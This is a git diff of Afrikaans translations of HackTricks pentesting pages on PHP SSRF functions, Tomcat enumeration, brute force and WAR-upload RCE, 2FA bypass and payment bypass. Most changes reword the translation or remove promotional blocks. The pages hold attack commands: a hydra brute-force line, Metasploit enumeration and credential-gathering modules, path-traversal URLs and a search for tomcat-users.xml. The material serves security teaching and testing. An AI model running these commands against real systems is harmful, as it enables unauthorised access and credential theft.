### SSRF PHP funksies
Sommige funksies soos **file\_get\_contents(), fopen(), file(), md5\_file()** aanvaar URL's as invoer wat hulle sal volg, wat **moontlike SSRF kwesbaarhede** maak as die gebruiker die data kan beheer:
@ -67,7 +59,7 @@ Connection: close
Vir meer inligting oor daardie CRLF kwesbaarheid, kyk na hierdie fout [https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1)
{% endhint %}
Let daarop dat hierdie funksie dalk ander metodes het om arbitrêre koptekste in versoeke in te stel, soos:
Let daarop dat hierdie funksies dalk ander metodes het om arbitrêre koptekste in versoeke in te stel, soos:
```php
$url = "";
@ -83,12 +75,6 @@ $options = array(
$context = stream_context_create($options);
$file = file_get_contents($url, false, $context);
```
**Probeer Hard Sekuriteitsgroep**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -97,8 +83,8 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -8,25 +8,17 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Probeer Hard Sekuriteitsgroep**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Ontdekking
* Dit loop gewoonlik op **poort 8080**
* **Gewone Tomcat fout:**
* **Gewone Tomcat-fout:**
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
@ -42,11 +34,11 @@ Dit sal soek na die term "Tomcat" in die dokumentasie-indeksbladsy, wat die weer
### **Bestand Plekke van die Bestuurder**
Om die presiese plekke van **`/manager`** en **`/host-manager`** gidsen te identifiseer, is noodsaaklik aangesien hul name moontlik verander kan word. 'n Brute-force soektog word aanbeveel om hierdie bladsye te lokaliseer.
Om die presiese plekke van **`/manager`** en **`/host-manager`** gidsen te identifiseer, is van kardinale belang aangesien hul name moontlik verander kan word. 'n Brute-force soektog word aanbeveel om hierdie bladsye te lokaliseer.
### **Gebruikersnaam Enumerasie**
Vir Tomcat weergawes ouer as 6, is dit moontlik om gebruikersname te enumereer deur:
Vir Tomcat weergawes ouer as 6, is dit moontlik om gebruikersname te enumerate deur:
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
@ -69,54 +61,54 @@ Nog 'n noemenswaardige gids is **`/manager/status`**, wat die Tomcat- en OS-weer
### **Brute Force Aanval**
Om 'n brute force aanval op die bestuurder-gids te probeer, kan 'n mens gebruik maak van:
Om 'n brute force aanval op die bestuurder-gids te probeer, kan mens gebruik maak van:
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```
Along with setting various parameters in Metasploit to target a specific host.
## Algemene Kw vulnerabilities
## Common Vulnerabilities
### **Wagwoord Terugsporing Ontsluiting**
### **Password Backtrace Disclosure**
Toegang tot `/auth.jsp` mag die wagwoord in 'n terugsporing onthul onder gelukkige omstandighede.
Toegang tot `/auth.jsp` mag die wagwoord in 'n terugvolg onder gelukkige omstandighede onthul.
### **Dubbele URL Kodering**
### **Double URL Encoding**
Die CVE-2007-1860 kwesbaarheid in `mod_jk` laat dubbele URL kodering pad traversering toe, wat ongeoorloofde toegang tot die bestuurskoppelvlak via 'n spesiaal saamgestelde URL moontlik maak.
Die CVE-2007-1860 kwesbaarheid in `mod_jk` laat dubbele URL-kodering pad traversering toe, wat ongeoorloofde toegang tot die bestuurskoppelvlak via 'n spesiaal saamgestelde URL moontlik maak.
Om toegang te verkry tot die bestuursweb van die Tomcat, gaan na: `pathTomcat/%252E%252E/manager/html`
### /voorbeelde
### /examples
Apache Tomcat weergawes 4.x tot 7.x sluit voorbeeldskripte in wat vatbaar is vir inligtingsontsluiting en kruis-webskripting (XSS) aanvalle. Hierdie skripte, wat omvattend gelys is, moet nagegaan word vir ongeoorloofde toegang en potensiële uitbuiting. Vind [meer inligting hier](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /voorbeelde/jsp/num/numguess.jsp
* /voorbeelde/jsp/dates/date.jsp
* /voorbeelde/jsp/snp/snoop.jsp
* /voorbeelde/jsp/error/error.html
* /voorbeelde/jsp/sessions/carts.html
* /voorbeelde/jsp/checkbox/check.html
* /voorbeelde/jsp/colors/colors.html
* /voorbeelde/jsp/cal/login.html
* /voorbeelde/jsp/include/include.jsp
* /voorbeelde/jsp/forward/forward.jsp
* /voorbeelde/jsp/plugin/plugin.jsp
* /voorbeelde/jsp/jsptoserv/jsptoservlet.jsp
* /voorbeelde/jsp/simpletag/foo.jsp
* /voorbeelde/jsp/mail/sendmail.jsp
* /voorbeelde/servlet/HelloWorldExample
* /voorbeelde/servlet/RequestInfoExample
* /voorbeelde/servlet/RequestHeaderExample
* /voorbeelde/servlet/RequestParamExample
* /voorbeelde/servlet/CookieExample
* /voorbeelde/servlet/JndiServlet
* /voorbeelde/servlet/SessionExample
* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp
### **Pad Traversering Exploit**
### **Path Traversal Exploit**
In sommige [**kwesbare konfigurasies van Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) kan jy toegang verkry tot beskermde gidse in Tomcat met die pad: `/..;/`
In sommige [**kwesbare konfigurasies van Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) kan jy toegang verkry tot beskermde gidse in Tomcat deur die pad: `/..;/`
So, byvoorbeeld, mag jy in staat wees om die **Tomcat bestuurder** bladsy te bekom deur toegang te verkry tot: `www.vulnerable.com/lalala/..;/manager/html`
@ -124,9 +116,9 @@ So, byvoorbeeld, mag jy in staat wees om die **Tomcat bestuurder** bladsy te bek
## RCE
Laastens, as jy toegang het tot die Tomcat Web Toepassing Bestuurder, kan jy **'n .war-lêer oplaai en ontplooi (kode uitvoer)**.
Laastens, as jy toegang het tot die Tomcat Web Application Manager, kan jy **'n .war-lêer oplaai en ontplooi (kode uitvoer)**.
### Beperkings
### Limitations
Jy sal slegs in staat wees om 'n WAR te ontplooi as jy **genoeg bevoegdhede** het (rolle: **admin**, **manager** en **manager-script**). Daardie besonderhede kan gevind word onder _tomcat-users.xml_ wat gewoonlik gedefinieer is in `/usr/share/tomcat9/etc/tomcat-users.xml` (dit verskil tussen weergawes) (sien [POST ](tomcat.md#post)section).
```bash
@ -221,11 +213,11 @@ zip -r backup.war cmd.jsp
```
## POST
Die naam van die Tomcat geloofsbriewe lêer is _tomcat-users.xml_
Die naam van die Tomcat geloofsbrief lêer is _tomcat-users.xml_
```bash
find / -name tomcat-users.xml 2>/dev/null
```
Ander maniere om Tomcat-akkrediteerings te versamel:
Ander maniere om Tomcat geloofsbriewe te versamel:
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
@ -239,15 +231,9 @@ msf> use post/windows/gather/enum_tomcat
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
**Probeer Hard Sekuriteitsgroep**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -15,14 +15,6 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
**Probeer Hard Sekuriteitsgroep**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Ontdekking
* Dit loop gewoonlik op **poort 8080**
@ -30,7 +22,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<figure><img src="../../../.gitbook/assets/image (150).png" alt=""><figcaption></figcaption></figure>
## Opname
## Opsporing
### **Weergawe Identifikasie**
@ -38,7 +30,7 @@ Om die weergawe van Apache Tomcat te vind, kan 'n eenvoudige opdrag uitgevoer wo
```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
```
Dit sal soek na die term "Tomcat" in die dokumentasie-indeksbladsy, wat die weergawe in die titel-tag van die HTML-respons onthul.
Dit sal soek na die term "Tomcat" in die dokumentasie-indeksbladsy, wat die weergawe in die titel-tag van die HTML-antwoord onthul.
### **Bestand Plekke van die Bestuurder**
@ -69,7 +61,7 @@ Nog 'n noemenswaardige gids is **`/manager/status`**, wat die Tomcat- en OS-weer
### **Brute Force Aanval**
Om 'n brute force aanval op die bestuurder-gids te probeer, kan 'n mens gebruik maak van:
Om 'n brute force aanval op die bestuurder-gids te probeer, kan mens gebruik maak van:
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```
@ -79,7 +71,7 @@ Along with setting various parameters in Metasploit to target a specific host.
### **Wagwoord Terugsporing Ontsluiting**
Toegang tot `/auth.jsp` kan die wagwoord in 'n terugsporing onthul onder gelukkige omstandighede.
Toegang tot `/auth.jsp` mag die wagwoord in 'n terugsporing onthul onder gelukkige omstandighede.
### **Dubbele URL Kodering**
@ -124,11 +116,11 @@ So, byvoorbeeld, mag jy in staat wees om die **Tomcat bestuurder** bladsy te bek
## RCE
Laastens, as jy toegang het tot die Tomcat Web Application Manager, kan jy **'n .war-lêer oplaai en ontplooi (kode uitvoer)**.
Laastens, as jy toegang het tot die Tomcat Web Toepassing Bestuurder, kan jy **'n .war-lêer oplaai en ontplooi (kode uitvoer)**.
### Beperkings
Jy sal slegs in staat wees om 'n WAR te ontplooi as jy **genoeg bevoegdhede** het (rolle: **admin**, **manager** en **manager-script**). Daardie besonderhede kan gevind word onder _tomcat-users.xml_ wat gewoonlik gedefinieer is in `/usr/share/tomcat9/etc/tomcat-users.xml` (dit verskil tussen weergawes) (sien [POST ](./#post) afdeling).
Jy sal slegs in staat wees om 'n WAR te ontplooi as jy **genoeg bevoegdhede** het (rolle: **admin**, **manager** en **manager-script**). Daardie besonderhede kan gevind word onder _tomcat-users.xml_ wat gewoonlik gedefinieer is in `/usr/share/tomcat9/etc/tomcat-users.xml` (dit verskil tussen weergawes) (sien [POST ](./#post)section).
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
@ -225,12 +217,12 @@ Die naam van die Tomcat geloofsbriewe lêer is _tomcat-users.xml_
```bash
find / -name tomcat-users.xml 2>/dev/null
```
Ander maniere om Tomcat geloofsbriewe te versamel:
Ander maniere om Tomcat-akkrediteerings te versamel:
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```
## Ander tomcat skandeertools
## Ander tomcat skandeergereedskap
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
@ -239,11 +231,6 @@ msf> use post/windows/gather/enum_tomcat
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
**Probeer Hard Sekuriteitsgroep**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -1,31 +1,23 @@
# Basiese Tomcat Inligting
# Basic Tomcat Info
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
<summary>Support HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Probeer Hard Sekuriteitsgroep**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### Vermy om met root te loop
Om te verhoed dat Tomcat met root loop, is 'n baie algemene konfigurasie om 'n Apache bediener op poort 80/443 in te stel en, as die versoekte pad 'n regexp ooreenstem, word die versoek na Tomcat gestuur wat op 'n ander poort loop.
Om te verhoed dat Tomcat met root loop, is 'n baie algemene konfigurasie om 'n Apache-bediener op poort 80/443 in te stel en, as die versoekte pad 'n regexp ooreenstem, word die versoek na Tomcat gestuur wat op 'n ander poort loop.
### Standaard Struktuur
```
@ -77,7 +69,7 @@ webapps/customapp
└── AdminServlet.class
```
Die belangrikste lêer onder hierdie is `WEB-INF/web.xml`, wat bekend staan as die ontplooiingsbeskrywer. Hierdie lêer stoor **inligting oor die roetes** wat deur die aansoek gebruik word en die klasse wat hierdie roetes hanteer.\
Alle gecompileerde klasse wat deur die aansoek gebruik word, moet in die `WEB-INF/classes` vouer gestoor word. Hierdie klasse kan belangrike besigheidslogika sowel as sensitiewe inligting bevat. Enige kwesbaarheid in hierdie lêers kan lei tot totale kompromie van die webwerf. Die `lib` vouer stoor die biblioteke wat deur daardie spesifieke aansoek benodig word. Die `jsp` vouer stoor [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), voorheen bekend as `JavaServer Pages`, wat vergelyk kan word met PHP-lêers op 'n Apache-bediener.
Alle gecompileerde klasse wat deur die aansoek gebruik word, moet in die `WEB-INF/classes` gids gestoor word. Hierdie klasse kan belangrike besigheidslogika sowel as sensitiewe inligting bevat. Enige kwesbaarheid in hierdie lêers kan lei tot totale kompromie van die webwerf. Die `lib` gids stoor die biblioteke wat deur daardie spesifieke aansoek benodig word. Die `jsp` gids stoor [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), voorheen bekend as `JavaServer Pages`, wat vergelyk kan word met PHP-lêers op 'n Apache-bediener.
Hier is 'n voorbeeld **web.xml** lêer.
```xml
@ -152,11 +144,6 @@ Die lêer wys vir ons wat elkeen van die rolle `manager-gui`, `manager-script`,
* [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090)
**Probeer Hard Sekuriteitsgroep**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -15,31 +15,18 @@ Leer & oefen GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-siz
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle wat voortspruit uit inligting-steel malware te bekamp.
Jy kan hul webwerf nagaan en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
## **Verbeterde Twee-Faktor Verifikasie Bypass Tegnieke**
### **Direkte Eindpunt Toegang**
Om 2FA te omseil, toegang die volgende eindpunt direk, om te weet wat die pad is, is van kardinale belang. As dit nie suksesvol is nie, verander die **Referrer header** om navigasie vanaf die 2FA verifikasiebladsy na te boots.
Om 2FA te omseil, toegang die daaropvolgende eindpunt direk, om die pad te ken is van kardinale belang. As dit nie suksesvol is nie, verander die **Referrer header** om navigasie vanaf die 2FA verifikasiebladsy na te boots.
### **Token Hergebruik**
Herbruik van voorheen gebruikte tokens vir verifikasie binne 'n rekening kan effektief wees.
### **Gebruik van Ongebruikte Tokens**
### **Benutting van Ongebruikte Tokens**
Om 'n token uit jou eie rekening te onttrek om 2FA in 'n ander rekening te omseil kan probeer word.
@ -49,19 +36,19 @@ Ondersoek of die token bekend gemaak word in 'n antwoord van die webtoepassing.
### **Verifikasielink Exploit**
Die gebruik van die **e-pos verifikasielink wat tydens rekening skep gestuur is** kan profieltoegang sonder 2FA toelaat, soos beklemtoon in 'n gedetailleerde [plasing](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b).
Die gebruik van die **e-pos verifikasielink wat tydens rekening skep gestuur word** kan profieltoegang sonder 2FA toelaat, soos beklemtoon in 'n gedetailleerde [plasing](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b).
### **Sessie Manipulasie**
Om sessies vir beide die gebruiker se en 'n slagoffer se rekening te begin, en 2FA vir die gebruiker se rekening te voltooi sonder om voort te gaan, laat 'n poging toe om toegang te verkry tot die volgende stap in die slagoffer se rekeningvloei, wat die agtergrond sessiebestuur beperkings benut.
Begin sessies vir beide die gebruiker se en 'n slagoffer se rekening, en voltooi 2FA vir die gebruiker se rekening sonder om voort te gaan, laat 'n poging toe om toegang te verkry tot die volgende stap in die slagoffer se rekeningvloei, wat die agtergrond sessiebestuur beperkings benut.
### **Wagwoord Herstel Meganisme**
Om die wagwoord herstel funksie te ondersoek, wat 'n gebruiker in die toepassing aanmeld na herstel, vir die potensiaal om verskeie herstel te laat met dieselfde skakel is van kardinale belang. Aanmeld met die nuut herstel kredensiale mag 2FA omseil.
Om die wagwoord herstel funksie te ondersoek, wat 'n gebruiker in die toepassing aanmeld na herstel, vir die potensiaal om verskeie herstel te laat met dieselfde skakel is van kardinale belang. Aanmelding met die nuut herstel geloofsbriewe mag 2FA omseil.
### **OAuth Platform Kompromieer**
### **OAuth Platform Kompromie**
Om 'n gebruiker se rekening op 'n vertroude **OAuth** platform (bv. Google, Facebook) te kompromitteer kan 'n roete bied om 2FA te omseil.
Die kompromie van 'n gebruiker se rekening op 'n vertroude **OAuth** platform (bv. Google, Facebook) kan 'n roete bied om 2FA te omseil.
### **Brute Force Aanvalle**
@ -71,15 +58,15 @@ Die gebrek aan 'n limiet op die aantal kode pogings laat brute force aanvalle to
#### **Langsame Brute Force**
'n Langsame brute force aanval is haalbaar waar vloei koers limiete bestaan sonder 'n oorheersende tarief limiet.
'n Langsame brute force aanval is haalbaar waar vloei tarief limiete bestaan sonder 'n oorgrypende tarief limiet.
#### **Kode Herstuur Limiet Reset**
Herstuur van die kode reset die tarief limiet, wat voortgesette brute force pogings vergemaklik.
#### **Kliënt-Kant Tarief Limiet Omseiling**
#### **Kliëntkant Tarief Limiet Omseiling**
'n Dokument beskryf tegnieke om kliënt-kant tarief beperking te omseil.
'n Dokument beskryf tegnieke om kliëntkant tarief beperking te omseil.
#### **Interne Aksies Ontbreek Tarief Limiet**
@ -109,9 +96,9 @@ Om die "onthou my" koekie waarde te raai kan beperkings omseil.
#### **IP Adres Vervalsing**
Om die slagoffer se IP adres te vervals deur die **X-Forwarded-For** header kan beperkings omseil.
Die vervalsing van die slagoffer se IP adres deur die **X-Forwarded-For** header kan beperkings omseil.
### **Gebruik van Ouers Versies**
### **Benutting van Ouwe Weergawes**
#### **Subdomeine**
@ -119,19 +106,19 @@ Toetsing van subdomeine mag verouderde weergawes gebruik wat 2FA ondersteuning o
#### **API Eindpunte**
Ou API weergawes, aangedui deur /v\*/ gidspaaie, mag kwesbaar wees vir 2FA omseiling metodes.
Oudere API weergawes, aangedui deur /v\*/ gidspaaie, mag kwesbaar wees vir 2FA omseiling metodes.
### **Hantering van Vorige Sessies**
Die beëindiging van bestaande sessies by 2FA aktivering beveilig rekeninge teen ongeoorloofde toegang vanaf gecompromitteerde sessies.
Die beëindiging van bestaande sessies by 2FA aktivering beveilig rekeninge teen ongemagtigde toegang vanaf gecompromitteerde sessies.
### **Toegangsbeheer Foute met Rugsteun Kodes**
### **Toegang Beheer Foute met Rugsteun Kodes**
Onmiddellike generasie en potensiële ongeoorloofde onttrekking van rugsteun kodes by 2FA aktivering, veral met CORS miskonfigurasies/XSS kwesbaarhede, stel 'n risiko voor.
Onmiddellike generasie en potensiële ongemagtigde onttrekking van rugsteun kodes by 2FA aktivering, veral met CORS miskonfigurasies/XSS kwesbaarhede, stel 'n risiko voor.
### **Inligting Blootstelling op 2FA Bladsy**
Gevoelige inligting blootstelling (bv. telefoonnommer) op die 2FA verifikasiebladsy is 'n bekommernis.
Sensitiewe inligting blootstelling (bv. telefoonnommer) op die 2FA verifikasiebladsy is 'n bekommernis.
### **Wagwoord Herstel Deaktiveer 2FA**
@ -139,7 +126,7 @@ Gevoelige inligting blootstelling (bv. telefoonnommer) op die 2FA verifikasiebla
### **Afleidingsversoeke**
Die gebruik van afleidingsversoeke om brute force pogings te verdoesel of tarief beperking meganismes te mislei voeg 'n ander laag by omseil strategieë. Om sulke versoeke te skep vereis 'n genuanseerde begrip van die toepassing se sekuriteitsmaatreëls en tarief beperking gedrag.
Die benutting van afleidingsversoeke om brute force pogings te verdoesel of tarief beperking meganismes te mislei voeg 'n ander laag by omseil strategieë. Om sulke versoeke te skep vereis 'n genuanseerde begrip van die toepassing se sekuriteitsmaatreëls en tarief beperking gedrag.
### OTP Konstruksiefoute
@ -151,17 +138,6 @@ In die geval dat die OTP geskep word op grond van data wat die gebruiker reeds h
* [https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718)
* [https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce](https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle wat voortspruit uit inligting-steel malware te bekamp.
Jy kan hul webwerf nagaan en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
P

View file

@ -15,21 +15,13 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Payment Bypass Techniques
### Request Interception
Tydens die transaksieproses is dit noodsaaklik om die data wat tussen die kliënt en die bediener uitgewissel word, te monitor. Dit kan gedoen word deur alle versoeke te onderskep. Binne hierdie versoeke, let op vir parameters met beduidende implikasies, soos:
Tydens die transaksieproses is dit noodsaaklik om die data wat tussen die kliënt en die bediener uitgewissel word, te monitor. Dit kan gedoen word deur alle versoeke te onderskep. Soek binne hierdie versoeke na parameters met beduidende implikasies, soos:
- **Success**: Hierdie parameter dui dikwels die status van die transaksie aan.
- **Referrer**: Dit kan na die bron verwys waarvandaan die versoek ontstaan het.
- **Referrer**: Dit kan na die bron wys waarvandaan die versoek ontstaan het.
- **Callback**: Dit word tipies gebruik om die gebruiker te herlei nadat 'n transaksie voltooi is.
